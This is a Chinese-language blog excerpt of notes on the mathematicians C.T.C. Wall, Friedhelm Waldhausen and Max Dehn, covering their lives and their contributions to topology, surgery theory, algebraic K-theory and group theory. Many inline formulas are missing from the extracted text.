中间维同调上的相交形式再次作为定向同伦型的一个基本代数不变量出现。事实上，这个不变量对于边界为同调球面 的 - 连通 维流形 而言也是有意义的。如果 是一个同伦球面，当 时它可能具有怪异的（exotic）可微结构。 正是对带边界的 3 - 连通 8 维流形分类的研究，促使 Milnor 最初发现了怪异球面（exotic sphere）的存在（《关于与七维球面同胚的流形》（On manifolds homeomorphic to the 7-sphere，1956））。 定理（Wall, 1962） 对于 ，边界为同伦球面的可微 - 连通 维流形的微分同胚类，与具有在 中的二次加细（quadratic refinement）的、取值为 的非退化 - 对称形式的同构类之间，存在自然的双射。 这里与流形 相关联的形式是中间维同调 上的相交形式。根据 Hurewicz 定理，该群同构于 ，因此每个元素都可以由映射 来表示。 通过 Whitney 技巧，这个映射可以形变为一个嵌入，其法丛由 中的一个元素进行分类。二次加细就是由该同伦类定义的。 Wall 在接下来的一系列论文《微分拓扑中的分类问题》（Classification problems in differential topology, I - VI）中结合使用了同伦理论和二次型的代数，将这种微分同胚分类推广到了其他类型的高度连通流形。 这些论文展示了在不使用割补理论的情况下，流形的分类能够推进到何种地步。 四、有限性障碍CW 复形是通过不断附加胞腔得到的空间。如果只使用了有限个胞腔，则称其为有限的。 拓扑学中最自然的问题之一是：一个空间何时同伦等价于一个有限 CW 复形？ CW 复形，对应维度 如果空间 是一个有限 CW 复形 的同伦收缩核（homotopy retract），即如果存在映射 、 以及同伦 ，则称空间 是有限控制的（finitely dominated）。 这显然是 具有有限 CW 复形同伦型的必要条件。 此外，对于具有几何意义的空间而言，有限控制性比有限性要容易验证得多。例如，早在 1932 年，博尔苏克（Karol Borsuk，1905-1982）就证明了每个紧致的绝对邻域收缩核（absolute neighborhood retract，ANR），例如紧致拓扑流形，都是有限控制的。 因此出现了另一个问题：一个有限控制的空间是否同伦等价于一个有限 CW 复形？ 这个问题也根源于对有限群在球面上自由作用的研究。具有这种作用的群必然具有周期上同调。 在 1960 年代初，斯旺（Richard Gordon Swan，1933-）已经证明： 上同调周期为 的有限群 会自由作用在一个同伦等价于 的无限 CW 复形 上，且其商空间 是有限控制的；并且它能够自由作用在一个同伦等价于 的有限复形上，当且仅当一个代数 - 理论不变量为零。 Swan 的定理实际上是以下一般结果的一个特例。 定理（Wall, 1965-66） 一个有限控制的空间 具有一个关联的障碍 同伦等价于一个有限 CW 复形，当且仅当该障碍为零。 这个定理中定义的障碍，现在普遍被称为 Wall 有限性障碍（Wall finiteness obstruction），它是非紧拓扑的一个基本代数不变量。 Wall 有限性障碍（Wall finiteness obstruction）由来如下： 如果 是一个控制 的有限 CW 复形，那么带有群环 中局部系数的 的胞腔链复形（cellular chain complex），就是一个由有限生成自由模构成的有限复形。 对 的控制由此决定了依附在 上的一个有限链复形的直和项（direct summand）子复形。由于自由模中的直和项是射影的（projective），这个依附在 上的链复形便由有限生成射影模组成。 Wall 障碍是一种类似于 Euler 示性数的量，用来衡量这个链复形是否链等价于一个由有限生成自由模构成的有限复形。 Wall 有限性障碍在流形拓扑学中有许多应用，其中最著名的是用于封闭非紧流形 tame ends 的 Siebenmann 端点障碍（Siebenmann end obstruction）。 五、割补理论（surgery theory）与 Wall 群Wall 对拓扑学最重要的贡献之一是他发展了非单连通割补的一般理论。 作为流形分类的一种方法论，割补理论（surgery theory）最初是在 1961 年科维尔（Michel André Kervaire，1927-2007）和 Milnor 的工作中被发展起来的，该工作在 - 配边意义下（并由 Smale 定理，进而在微分同胚意义下）对维数 的同伦球面进行分类。 如果 是一个边界为同伦球面 的可平行化（parallelizable）流形，那么可以通过割补消去 的同伦群，当且仅当一个障碍 为零。这里 是奇数 1962 年，Browder 利用割补方法证明了：对于 ，具有 维 Poincaré 对偶 的单连通有限 CW 复形 ，同伦等价于一个闭 维可微流形，当且仅当存在一个具备 spherical Thom class 的向量丛 ，使得相关的障碍 （单连通割补障碍）为 。 对于 ，该不变量 是 的符号差与 的 - 亏格的 维分量之差的八分之一。 在这种情况下，该结果是赫策布鲁赫（Friedrich Ernst Peter Hirzebruch，1927-2012）符号差定理的逆定理。 同样在 1962 年，诺维科夫（Sergei Petrovich Novikov，1938-2024）在单连通情形下，开创了利用割补理论研究一个流形的同伦型中可微流形结构的唯一性。 从大约 1965 年到 1970 年，Wall 发展了一套全面的割补障碍理论，该理论也处理了非单连通的情形。向非单连通情形的推广，首先是对 Poincaré 对偶概念的正确推广。 一个连通的有限 CW 复形 被称为 维 Poincaré 复形，如果存在一个基本同调类 ，使得与 的帽积（cap product） 能诱导出同构： 这显然是 具有闭 维流形同伦型的必要条件。 定理（Wall，1966、1970） 法映射 具有一个割补障碍 并且 法配边（normally bordant）于一个同伦等价，如果（当 时为当且仅当） 。 Wall 在这一定理中的一项成就是找到了一种在同一通用框架下处理偶数维和奇数维流形的方法。 另一项重要成就是，他认识到割补障碍所处的群仅取决于基本群，而不依赖于 的任何其他方面（除了模 4 的维数和定向特征标 ）。一般而言，群 并不那么容易计算，但在单连通情况下它们刚好就是 Kervaire-Milnor 群， 。Wall 还为带边流形及流形 - 元组系统阐述了上述的各种相对版本。 Wall 理论最重要的推论是它提供了一种在固定同伦型内对流形的分类。这种借助 “割补正合序列（surgery exact sequence）” 的表述，是建立在 Browder、Novikov 和 Sullivan 先前于单连通情形下的工作之上的。 研究的基本对象是 Poincaré 复形 的结构集 。这是所有形如 （其中 是流形）的同伦等价在模去某种等价关系后的集合。可将 视为是对 “ 同伦型上的所有流形结构的分类”。 定理（Wall，1970） 在上述维数限制下，Poincaré 复形 的结构集 非空，当且仅当存在一个割补障碍为 的法映射 。如果它非空， 将适配于以下（集合的）正合列： 其中 给出了 “切向数据” 的分类。 Wall 理论具有大量应用： 对 Kervaire 关于高维纽结补（knot complements）基本群的特征化定理给出了新证明； 实现了通过子流形的实际嵌入来表现流形中的 Poincaré（即同伦理论意义下的）嵌入； 各类离散群在流形上自由作用（例如球面上的自由对合）的分类； 以及 “伪射影空间（fake projective spaces）”、“伪透镜空间（fake lens spaces）”、“伪环面（fake tori）” 等的分类。 其中关于拓扑空间形式问题（球面上的自由作用）的工作尤为重要：该问题的 CW 复形版本此前已激发了 Swan 和 Wall 关于有限性障碍的工作，而其流形版本则是促使 Wall（及其他人）对有限群的 - 群进行大量计算的动力之一。"},{"title":"","date":"2026-04-01T03:07:00.000Z","updated":"2026-05-03T03:10:00.000Z","comments":true,"path":"notes/person/6.html","permalink":"https://blog.mhuig.top/notes/person/6","excerpt":"","text":"Waldhausen Waldhausen 生平1971 年 4 月 1 日，Waldhausen 正式加入 Bielefeld 大学担任全职教授，并在此度过了他漫长而辉煌的执教生涯，直到 2004 年退休。 在此期间，他两度出任数学系主任（1973/74 和 1984/85），不仅一手塑造了该校拓扑学研究团队的国际声望，还培养了包括斯威德（Stefan Schwede）和伦迪格斯（Oliver Rön digs）在内的一批优秀学者。 他的博士生许特曼（Thomas Huettemann）回忆说：“Waldhausen 曾给过学生两条受用终身的务实建议。第一，在写数学论文时，永远不要使用‘容易’或者‘显然’这样的词汇。第二，阅读一本数学书时，应该‘倒着读’，也就是直接从书里那个最吸引人的有趣结果开始往前探索。” 他的学生 Stefan Schwede 回忆： Waldhausen 讲授的高级课程极其硬核 ，随着学期推进，退课的学生越来越多，到最后往往只剩下两名学生。但令人敬佩的是，只要剩下的学生还愿意学， Waldhausen 就会彻底无视学期之间的寒暑假和法定休息日，一直讲下去 。直到最后唯一的学生也决定退出时，这门课才会宣告结束。 2004 年，为了表彰他在纯数学领域的卓越成就，他与哈德尔（Günter Harder，1938-2025）共同获得了德国数学界最负盛名的奖项之一 —— von Staudt Prize 。此外，他还获得了 Osnabrück 大学授予的荣誉博士学位。 von Staudt Prize 获奖者 获奖时间 获奖人 获奖时间 获奖人 1991 H. Grauert 1994 S. Hildebrandt 1997 M. Kneser 2001 D. Zagier 2004 G. HarderF. Waldhausen 2008 G. Faltings 2013 M. Rapoport 2022 B. Wilking 2025 W. Lück 在生活中，他有着独特的个人爱好，例如热爱舒伯特的艺术歌曲（Schubert lieder）以及偏爱加大蒜的美食。 2024 年 11 月 21 日，Friedhelm Waldhausen 逝世，享年 85 岁，留下了极其丰富的数学遗产。 贡献一、3 维流形理论：空间的 “解剖学” 与 “代数刚性”在他的学术早期，Waldhausen 的核心思想可以概括为：如何通过 “内部切片” 来理解整体空间，以及空间的 “代数骨架” 如何绝对地决定它的 “几何肉体”。 1、Haken 流形与不可压缩曲面（incompressible surfaces）在哈肯（Wolfgang Haken，1928-2022）等的基础上，Waldhausen 重点研究了一类包含内部结构的 3 维流形，即后来的 Haken 流形。 理解它的核心在于 “不可压缩（incompressible）” 性。 在拓扑学中，我们用基本群中的闭合环路（loop）来探测空间的孔洞。假设 3 维流形 内部飘浮着一个 2 维闭曲面 。而 是不可压缩的，意味着：只要在曲面 上画的绳圈能在外部的 3 维空间 中收缩成一个点，那么它必须在曲面 自身上也能收缩成一点。 用代数语言来说，就是曲面的基本群到流形基本群的诱导同态必须是单射，即 。 可以把不可压缩曲面想象成 3 维空间内部坚硬的 “承重墙” 或 “骨架”，它没有冗余的假褶皱，也不会因为空间的形变而轻易坍塌。 Waldhausen 确立了一套严密的 “解剖” 算法：只要流形里有这样的曲面，我们就沿着它把流形 “剪开”。他证明了，这个被称为 Haken 层级（Haken hierarchy） 的剪切过程必然会在有限步内停止，极其复杂的拓扑空间最终会被剪开，变成最简单的、没有任何孔洞的 3 维实心球（3-balls）。 2、拓扑刚性定理（Topological Rigidity Theorem, 1968）在拓扑学中，同伦等价（homotopy equivalence）是一种较弱的 “代数形变” 关系（允许空间被无限拉伸、压扁，只要孔洞等代数特征不变即可），而同胚（homeomorphism）则是最强的 “几何全等” 关系（要求两个空间点对点完美匹配，绝不能撕裂或粘合）。 通常，代数相等不代表几何相等（高维空间有大量反例）。 但 Waldhausen 证明了极其震撼的结论：对于闭的、可定向的 Haken 流形，“代数完全决定了几何”： 对于闭的、可定向的 Haken 流形，任意同伦等价都同伦于一个同胚。因而，在这类流形中，拓扑结构在很强意义下由基本群（代数结构）所决定。 3、Heegaard 分解与 virtual Haken conjectureHeegaard 分解（Heegaard splitting）是将任何 3 维流形切成两个柄体（handlebodies），然后沿着它们的表面重新缝合。 Waldhausen 证明了对于我们最熟悉的 3 - 维球面 ，所有相同亏格（洞的数量）的 Heegaard 分解，在同痕（isotopy，即连续形变）意义下都是唯一的。这排除了基础空间中存在 “病态” 分解的可能。 由于并非所有 3 维流形内部都能找到不可压缩曲面（即并非都是 Haken 流形），Waldhausen 提出了著名的 virtual Haken conjecture：任何紧致、不可约且基本群无限的 3 维流形，都应该存在一个有限张覆盖空间（covering space），使得这个覆盖空间成为 Haken 流形。 也就是说，虽然原来的流形未必直接含有不可压缩曲面，但在适当的有限覆盖中，这种 “隐藏的内部结构” 会显现出来。 这个猜想悬置了 40 多年，最终在 2012 年由阿戈尔（Ian Agol, 1970-）利用前沿的几何群论彻底证明。 二、代数 K- 理论与美丽新代数（brave new algebra）到了 1970 年代中期，Waldhausen 意识到传统几何工具已经无法处理更高维流形的复杂形变。为此，他发明了一套全新的抽象代数机器。 1、空间的代数 K- 理论代数 K- 理论（由 Grothendieck, Atiyah, Hirzebruch 等创立，Quillen 奠定高阶基础）研究环和概形等纯代数结构。 为了研究流形的伪同痕空间（pseudo-isotopy space）和微分同胚群（diffeomorphism groups），Waldhausen 创造性地将输入端从 “代数环” 替换成了 “拓扑空间 ”，发明了 理论（ -theory, ）。 其核心在于，他提取空间的环路空间（loop space, ），并将其视为一种极为复杂的 “拓扑代数环”。 2、Waldhausen 范畴与 构造Quillen（1940-2011）原有的代数机器依赖于正合范畴（exact categories），这要求底层的数学对象必须能像数字或多项式那样进行严格的 “相加”（Abelian 环境）。 但是，拓扑空间是不能简单相加的（它们是非加性的）。Waldhausen 抛弃了传统的加法限制，发明了一套极简的底层逻辑框架 ——Waldhausen 范畴（Waldhausen categories）。 在这个世界里，他只保留了两个最具拓扑意味的动作： 上纤维化（cofibrations） （允许将一个小空间 “干净地” 嵌入并添加到大空间中）和 弱等价（weak equivalences） （把形状极其相似、可连续形变的空间视作等同）。 基于此，他发明了令人惊叹的 构造。这是一个能将抽象范畴转化为拓扑空间的 “机器”。 它通过系统性地记录所有可能的空间嵌套序列 及其商空间，像搭积木一样编织出一个多维的 单纯集合（simplicial set） 。这个集合的同伦群就是我们要找的 - 群。 3、美丽新代数（Brave new algebra）这是 Waldhausen 晚年对纯数学的一个极具诗意且精准的概括（这个命名借用了 Huxley 的小说名）。在传统的初等代数中，一切都建立在整数环 的基础上，等号 是绝对严格的（比如结合律 必须绝对相等）。 但 Waldhausen 发现，如果要处理拓扑空间，我们需要彻底改写代数的基石：用具有弹性的球面谱（sphere spectrum, ）取代整数 。 在 “美丽新代数” 的世界里，数字变成了拓扑 “空间”。乘法结合律和交换律不再产生绝对严格的相等，而是 “存在一条连续的路径将它们连接起来”（即在同伦意义下相等）。 不仅如此，路径与路径之间还有更高维的面相连，面与面之间有体相接，形成了一套极其庞大的高阶相干性（higher coherence）。 他用 “美丽新代数” 来形容这些高度结构化的环谱(highly structured ring spectra, 如 - 环和 - 环)。 这个理论和当代纯数学中极度活跃的前沿领域 —— 稳定同伦理论（stable homotopy theory） 和 导出代数几何（derived algebraic geometry） 等理论不谋而合。"},{"title":"","date":"2026-04-01T05:07:00.000Z","updated":"2026-05-03T05:10:00.000Z","comments":true,"path":"notes/person/7.html","permalink":"https://blog.mhuig.top/notes/person/7","excerpt":"","text":"Dehn Dehn 生平马克斯・威廉・德恩（Max Wilhelm Dehn，1878-1952）于 1878 年出生于德国 Hamburg。他的父亲马克西米利安・摩西・德恩（Maximilian Moses Dehn，1841-1897）是一位医生。他父亲 Maximilian 于 1867 年在德国 Hamburg 与贝尔塔・拉夫・赫希（Berta Raf Hirsch，1845-1926）结婚。他们共有九个孩子。这个家庭是犹太人，但他们并不把自己视为犹太人，而更把自己看作德国人。 Dehn 在汉堡长大，就读于 Wilhelm 高中（Wilhelm Gymnasium）。这所学校创办于 1881 年，以德皇 Wilhelm 一世命名。这是一所为大学预科而设的学校，毕业后，Dehn 进入 Freiburg 大学。 有趣的是，Dehn 的导师希尔伯特（David Hilbert，1862-1943），在 1879 年 - 1880 年就读于柯尼斯堡（Königsberg）的 Wilhelm 高中（Wilhelmsgymnasium）—— 同样以德皇 Wilhelm 一世命名，1874 年创办。 在 Freiburg，Dehn 学习数学；但和当时许多学生一样，他并不是始终只在一所大学就读。 他也曾在 Göttingen 学习，并在 David Hilbert 指导下，于 1900 年以论文《关于三角形内角和的 Legendre 定理》（Die Legendreschen Sätze über die Winkelsumme im Dreieck）获得博士学位。 在这篇论文中，他证明了 Saccheri-Legendre 定理，即在 “绝对几何（absolute geometry）” 中，三角形内角和至多为 。 这里的绝对几何，指的是满足欧几里得几何全部公理、但不包含平行公设的几何体系。 1900 年 8 月，Hilbert 在巴黎举行的国际数学家大会上发表了著名演讲《数学问题》（Mathematische Probleme）。 在演讲中，他提出了十个他认为对数学发展极为重要的问题；实际上，发表出来的版本一共列出了 23 个问题 —— 即后来著名的 Hilbert 23 问题 。 就在 1900 年，Dehn 解决了其中的第 3 个问题，即： 给定任意两个体积相等的多面体，是否总可以把第一个切分成有限多个多面体小块，再重新拼装成第二个？ Dehn 在论文《关于体积》（Ueber den Rauminhalt, Math. Ann., 1901）中证明，这个问题的答案是否定的。他利用今天所谓的 Dehn 不变量（Dehn invariant） 构造了一个反例。这是 Hilbert 问题中第一个被解决的问题。 1900 年底前，他把解决 Hilbert 第三问题的论文作为 habilitation 论文提交给明斯特（Münster）大学；次年，他被任命为 Münster 的 Privatdozent（无薪讲师），并一直任此职到 1911 年。 1907 年，Dehn 与希加德（Poul Heegaard，1871-1948）一起为《数学科学百科全书》（Encyklopädie der mathematischen Wissenschaften）撰写了一篇最早的拓扑学系统综述之一。后来对这篇文章的评价是：“它第一次系统地呈现了一条具有深度与美感的研究路线 —— 这条路线可追溯到 Euler、Gauss、Listing、Riemann、Möbius、Betti 和 Poincaré—— 当时它被称作‘位置分析（analysis situs）’，今天大概会被称为几何拓扑。” 之后，Dehn 试图证明 Poincaré 猜想，当然，他并未成功。不过，正是这些尝试促使他发表了 1910 年的论文《关于三维空间的拓扑》（Über die Topologie des dreidimensionalen Raumes）。 在这篇论文中，他讨论了由三叶纽结（trefoil knot）及其他若干纽结（knot）的补空间构造出的、具有平凡同调的三维流形。为了研究这些流形，他构造了它们基本群的 Cayley 图（Cayley graph）。 1911 年，Dehn 被任命为 Kiel 的编外教授；1913 年至 1921 年间，他在 Breslau 大学任正教授。 1912 年 8 月 23 日，他与安东尼・兰道（Antonie Landau）结婚；二人共有三个孩子：Helmut（1914-2007）、Maria（1915-2013）和 Eva Agathe（1919-2008），都出生于 Breslau。 1914 年，Dehn 发表论文《两个三叶纽结》（Die beiden Kleeblattschlingen）。琼・西尔维娅・利特尔・伯曼（Joan Sylvia Lyttle Birman，1927- ）评价这篇论文：“这篇写于 1914 年、在拓扑空间基本群概念提出后不久的论文，处理了一个简单而优美的问题：确认最简单的纽结所具有的一种性质，而这种性质只需做五分钟实验便会让人产生怀疑 —— 即右手三叶纽结与左手三叶纽结并不同胚。1914 年时，基本群还是一种很新的工具；Dehn 通过研究其外自同构群，以一种相当高明的方式使用了它。在用它证明三叶纽结不是 amphicheiral（即不能与其镜像重合）之后，论文结尾还简要研究了八字纽结（figure-eight knot）基本群的外自同构群，而这个结恰恰是 amphicheiral 的。他还识别出了其生成元（后来得到了证明）。…… 在 1984 年以前，我们实际上并没有什么简单方法来检测一个结是否非 amphicheiral，因此 Dehn 的工作 —— 乍看之下仿佛是用大炮打麻雀 —— 在将近 70 年里始终是核心的文献。 当然，1914 年也是第一次世界大战开始的年份。Dehn 于 1915 至 1918 年在军队服役，他的学术生涯因此中断。 服完兵役后，他回到 Breslau 的教授职位；但在 1921 年，他接替比伯巴赫（Ludwig Georg Elias Moses Bieberbach，1886-1982），出任 Frankfurt 大学纯粹与应用数学讲席教授。在那里，他组织了一个著名的数学史研讨班。 韦伊（André Abraham Weil，1906-1998）写道：“作为一位具有人文气质的数学家，Dehn 把数学看作整个人类思想史中的一个章节 —— 当然绝不是最不重要的那一章 —— 因此他不可能不对数学史研究作出原创性贡献，也不可能不把同事和学生卷入这一事业。这个贡献，或者不如说这一创造，就是 Frankfurt 数学研究所的历史研讨班。表面上看，没有什么比这更简单、更不张扬了： 选一篇原始文献来读，尽量不仅把握其表层脉络，也把握其内在思想推进的方向。…… 我是在后来几次去 Frankfurt 时才参加这个研讨班的；我总是尽可能多去那里。我已记不清是否早在 1926 年夏季学期，在一次讨论 Cavalieri（1598-1647）的研讨班上，Dehn 就已经展示出这类文本应当如何从作者自身的立场出发来阅读，既考虑作者时代普遍接受了什么，也考虑 Cavalieri 竭力想要实现的新思想。每个人都参加讨论，尽自己所能为集体努力作出贡献。 1932 年，Dehn 写了论文《人类中的数学》（Das Mathematische im Menschen），发表于恩里克斯（Abramo Giulio Umberto Federigo Enriques，1871-1946）在博洛尼亚编辑的意大利期刊《Scientia》。 在这篇文章中，Dehn 把 “数学能力” 放在了一个基本的人类学层次上。正是因为相信数学深深扎根于人性之中，正如音乐建立在与生俱来的音乐能力之上一样，他才有信心认为，即使不是职业数学家的人，也能够欣赏这门科学。 1933 年初，Hitler 在德国上台。Dehn 勉强仍继续主持 Frankfurt 大学的数学研讨班。然而在 1935 年，Dehn 被迫辞职，但仍留在 Frankfurt。 1936 年，他把子女送出德国：儿子 Helmut 去了美国，女儿 Maria 和 Eva 则被送往英国继续学业。 之后几年里，Dehn 在若干欧洲国家讲学，并于 1938 年 1 月至 4 月间在英国与两个女儿同住。 他仍继续发表论文。 1936 年，他在《Scientia》上发表了《从数学的观点看亚里士多德的空间、时间与数》（Raum, Zeit, Zahl bei Aristoteles vom mathematischen Standpunkt aus）。 1938 年，他发表了《映射类群》（Die Gruppe der Abbildungsklassen），其中包含今天称为 Dehn twist（德恩扭转）的重要思想。 1938 年 11 月 11 日，Dehn 被逮捕；但由于被关押的犹太人太多，监狱已经人满为患，他当日稍晚便被释放。随即，担心再次被捕的 Dehn 与妻子逃往 Frankfurt 以北的朋友家。 几周后，纳粹对犹太人的迫害稍有减弱，于是 Dehn 夫妇冒险逃往 Hamburg，暂时住在 Dehn 的一位姐姐家中；随后于 1939 年 1 月先逃到丹麦，再从那里去往挪威。 Dehn 不久便在特隆赫姆（Trondheim）的技术学院（如今的挪威科技学院）获得一个临时职位，代替正在休假的布朗（Viggo Brun，1885-1978）——1915 年提出著名的 Brun 筛法（Brun Sieve）。 然而，1940 年 3 月 1 日，德国入侵挪威，Trondheim 于 4 月 9 日落入德军之手。Dehn 逃离了这座城市，但冒着巨大危险，到 6 月又回到城中，并开始筹划前往美国。 1940 年 10 月，Dehn 夫妇移民美国，路线是：从挪威到瑞典斯德哥尔摩，再到苏联莫斯科，从那里乘西伯利亚铁路到符拉迪沃斯托克，然后坐船到日本神户，再换船前往旧金山，并于 1941 年 1 月 1 日抵达。 到了美国后，Dehn 曾在几所大学和学院任教，例如 Idaho 大学 Pocatello 分校、Illinois 理工学院，以及 Maryland 州 Annapolis 的 St. John's College。 切辛（Paul L. Chessin）曾回忆 Dehn 在 Wisconsin 州 Madison 时的一些个人轶事：“1945 年，Dehn 接替当时 Wisconsin 大学 Madison 分校数学系主任兰格（Rudolf Ernest Langer，1894-1968），后者休假去了 Texas 大学。Dehn 教授来开了几门研究生课程。我上了他的‘非线性偏微分方程’课。他常常在校园酒吧 Rathskellar（那是当时十大联盟大学中唯一的校园啤酒馆）里高谈阔论。我们在酒馆里学到的东西更多，比如他的个人生活。 他是家里的异类。只要他还留在大学里，就能得到家人的支持。因此，他获得了许多博士学位。他会手持啤酒杯，用希腊语朗诵一些古典文学的段落。公布最终成绩时，他只是点名，然后逐一询问课本章节标题。显然，我们可以提前翻阅，确保答案正确。我记得他给了大约 18 个 A 和 3、4 个 B。上课期间，他会不时打断课堂，表达他对能否通过公民考试的担忧。” 然而，Dehn 始终没能找到一个全职职位。麦克兰恩（Saunders Mac Lane，1909-2005）后来写道：“…… 大多数逃离欧洲的数学家在美国都多少得到了某种职位…… 我记得有两个失败的例子：Max Dehn—— 以拓扑工作著称 —— 只得到一个很弱的职位。” Mac Lane 所说的这个 “很弱的职位”，就是 Black Mountain College。这所学院并不授予正式认证的学位，教学主要集中在创意艺术方面。 1944 年，Dehn 受邀前往那里作两场讲座时，教员中甚至没有受过专业训练的数学家。他意识到自己无法讲授高等数学，因此讲的是 “数学与装饰艺术的共同根源” 和 “数学思想发展中的若干时刻”。学院随后向他提供了一个每月 25 美元的长期职位。他坚持要求每月 40 美元，最终学院同意了。Dehn 于 1945 年加入该校教师队伍，并一直留在那里直到去世。Black Mountain College 于 1956 年关闭，而 Dehn 是这所学院历史上唯一任教过的数学家。 佩弗（David Peifer）写道：“Dehn 教授数学、哲学、希腊文和意大利文。在数学方面，他的课程包括数学史和射影几何。他因热爱自然和艺术而被人铭记。他的讲课经常岔出去谈哲学、艺术，以及它们与数学的关系。他最出色的时候，是用一种苏格拉底式的方式来讲授。他很喜欢带着学生在树林里徒步时上课。人们记得他是一位关怀学生、极其投入的教师。” Dehn 出色的研究记录，与他晚年最后那个职位的低层次形成了鲜明对照。他是一位凭直觉工作的几何学家，深受 Hilbert 公理化方法的启发。他在拓扑上的工作把他引向了群论，尤其是那些从拓扑中自然产生的群表示问题。 在 1911 年的论文《关于无限不连续群》（Über unendliche diskontinuierliche Gruppen）中，Dehn 提出了关于群表示的两个重要问题：字问题（word problem）和同构问题（isomorphism problem）。 字问题提出了一个根本性的问题：对由一个表示给出的群，是否存在一种算法，能够判定一个词是否表示单位元。后来人们已经证明，一般情况下并不存在这样的算法。这类问题的研究直到今天仍是组合群论中的重要主题。 除此之外，Dehn 还写过关于静力学、射影平面以及 —— 如前所述 —— 数学史的论文。 第二次世界大战结束后，德国数学会（DMV）于 1948 年重新建立。卡姆克（Erich Kamke，1890-1961）致信所有曾被开除的人，请他们重新加入。 Dehn 拒绝了。下面是他 1948 年 8 月写的回信，其中相当清楚地说明了理由：我并不怀有任何怨恨。你大概知道，我如今又和德国的几位数学家保持着密切联系，当然首先是和那些我过去特别亲近的人。但我不能重新加入德国数学会。 我已经失去了信心，不相信这样一个协会今后会比 1935 年表现得更好。我担心，它仍会再次对来自外部的不公正措施不加抵抗。德国数学会并没有保管什么极其重要的价值。让我产生这种负面印象的事实是：它 1935 年没有自行解散，而且甚至没有相当数量的数学家退出该协会。我并不担心德国数学会将来会再次驱逐犹太人，但也许下一次被针对的会是所谓的共产党人、无政府主义者，或者 “有色人种”。与德国，尤其是与德国数学家的联系，对我始终非常珍贵。 Dehn 于 1951–1952 学年结束时退休，并被授予名誉教授称号。退休后他仍继续在 Black Mountain College 工作，为教师和学生提供建议。 不久，在监督校园里若干棵山茱萸树的移除工作后，他生病了，并因栓塞去世。他被安葬在 Black Mountain College 校园里那片他所热爱的树林中。 贡献一、几何基础与 Hilbert 第三问题Dehn 最早的重要工作属于几何基础。其中一个重要工作是 1900 年的 habilitation 工作《关于体积》（Ueber den Rauminhalt）。 Hilbert 第三问题问：两个体积相等的多面体，是否总能分割成有限多个小多面体，并重新拼装为彼此？ Dehn 在这篇论文中给出了否定的答案。 他的关键构造就是后来所谓 Dehn 不变量（Dehn invariant）。现代写法中，若多面体 的棱为 ，相应二面角为 ，则定义 Dehn 不变量为 这里： 是第 条棱的长度；张量积 的作用，是防止长度与角度之间出现非整数线性关系的混淆。 这个量对切割与重组是可加的，因此如果两个多面体能通过有限分割互相拼装，它们不仅体积相同，而且 Dehn 不变量也必须相同。 Dehn 用这一点构造出反例，从而说明 “体积相等” 并不足以推出 “可分割同构”。后来 Sydler 证明，在三维中 “体积 + Dehn 不变量” 正好给出完整判据。 二、早期拓扑1907 年，Dehn 与希加德（Poul Heegaard，1871-1948）合作撰写《位置分析》（Analysis situs）。 这篇文章的历史地位并不在于它给出某个单一定理，而在于它第一次把当时仍然松散的 “analysis situs” 工作系统地整理为一个方向。 正如前文提及：这是一条可以追溯到 Euler、Gauss、Listing、Riemann、Möbius、Betti、Poincaré 的研究传统，而 Dehn 与 Heegaard 的文章第一次把它连成了一个整体。 这篇综述还保留了很强的几何与组合色彩：Dehn 对拓扑的理解，不是纯粹集合论式的，而是始终与曲面分解、纽结、基本群和具体图形操作相连。 三、三维空间的拓扑Dehn 在 1910 年发表论文《论三维空间的拓扑》（Über die Topologie des dreidimensionalen Raumes）。 斯蒂尔韦尔（John Colin Stillwell，1942- ）认为这篇论文 “与 Poincaré 1904 年的论文一起，它构成了后来三维拓扑几乎全部工作的出发点。” Stillwell 列举这篇论文中首次集中出现的内容：有限表示群的字问题与共轭问题、把这类群实现为曲面复形的基本群、Dehn 引理、三叶纽结群的图示、用手术构造同调球，以及对其中一个同调球 —— 实际上就是 Poincaré 同调球 —— 基本群有限性的证明。 其中最著名的结果后来被称为 Dehn 引理（Dehn lemma） 。若三维流形 中有一个带自交的二维圆盘，其边界 是一条没有奇点的简单闭曲线，那么存在另一个同边界的圆盘 ，它可以分段线性地嵌入 。也就是说，若一条简单闭曲线 “以某种浸入方式” 围成圆盘，那么其实也能围成一个真正嵌入的圆盘。 Dehn 当年的证明有漏洞，完整证明直到 1957 年才由帕帕（Christos Dimitriou Papakyriakopoulos，1914-1976）给出；但这并不影响该命题在三维流形与纽结理论中的根本地位。 同一篇论文里，Dehn 还首次使用后来称为 Dehn 手术（Dehn surgery） 的操作：若 是闭三维流形， 是其内部一个实心环面，则移去 并通过边界同胚 把另一个实心环面 重新粘回，得到 。这一操作等价于沿某个结做手术；而后来的三维流形理论表明，大量闭可定向三维流形都可以通过这种方式从 构造出来。 Dehn 当年尚未拥有后来的手术理论语言，但他的几何直觉已经十分接近这一现代框架。 四、《论无限不连续群》1911–1912 年的《论无限不连续群》（Über unendliche diskontinuierliche Gruppen）标志着 Dehn 从拓扑进入群论中心。 这篇论文提出了关于群表示的基本问题：字问题（word problem） 和 同构问题（isomorphism problem） 。对一个由生成元和关系式给出的群而言，字问题的是一个词是否代表单位元，同构问题则问两个有限表示是否给出同构群。 20 世纪后半叶的逻辑与群论发展表明，这些问题在一般情况下并没有统一可行的算法。Dehn 的论文的重要性不只在于提问，还在于他立刻给出了一类成功的例子：闭双曲曲面的基本群。 以亏格为 2 的曲面为例，它有表示 Dehn 注意到，这个群的 Cayley 图可看成双曲平面中正八边形铺砌的 1 - 骨架，而 relator 就标记着每个八边形的边界。 于是，如果一个约化词代表单位元，那么它在某处必然含有一个 “超过 relator 一半长度” 的长子词；把这段长子词替换为 relator 中互补的更短部分，就能缩短词长。不断重复，若最终化到空词，则原词代表单位元。这就是后来所谓 Dehn algorithm 的原型。 它不仅解决了特定曲面群的字问题，也给后来小消去理论、双曲群和几何群论中的线性消去思想提供了模板。 五、扭结理论1914 年，Dehn 发表《两个三叶纽结》（Die beiden Kleeblattschlingen）。这篇论文解决的问题非常具体： 左手三叶纽结和右手三叶纽结是否等价？ Joan Birman 在回顾这篇论文时说，Dehn 用一种在 1914 年看来相当 “重型” 的方式解决了一个直观上只需几分钟实验便会冒出来的问题：他通过研究纽结群的外自同构群，证明左手三叶纽结与右手三叶纽结不环境同痕（not ambient isotopic），也就是三叶纽结（trefoil knot）不是 amphicheiral。 Birman 还指出，在 Jones 多项式出现之前的近七十年里，这篇论文始终是该问题的核心文献之一。 六、曲面、扭转与映射类群Dehn 在曲面拓扑上的工作同样持久。1912 年的《双侧曲面上曲线的变换》（Transformation der Kurven auf zweiseitigen Flächen）以及 1922 年《双边曲面上的曲线系统及其在映射问题上的应用》（On curve systems on two-sided surfaces, with application to the mapping 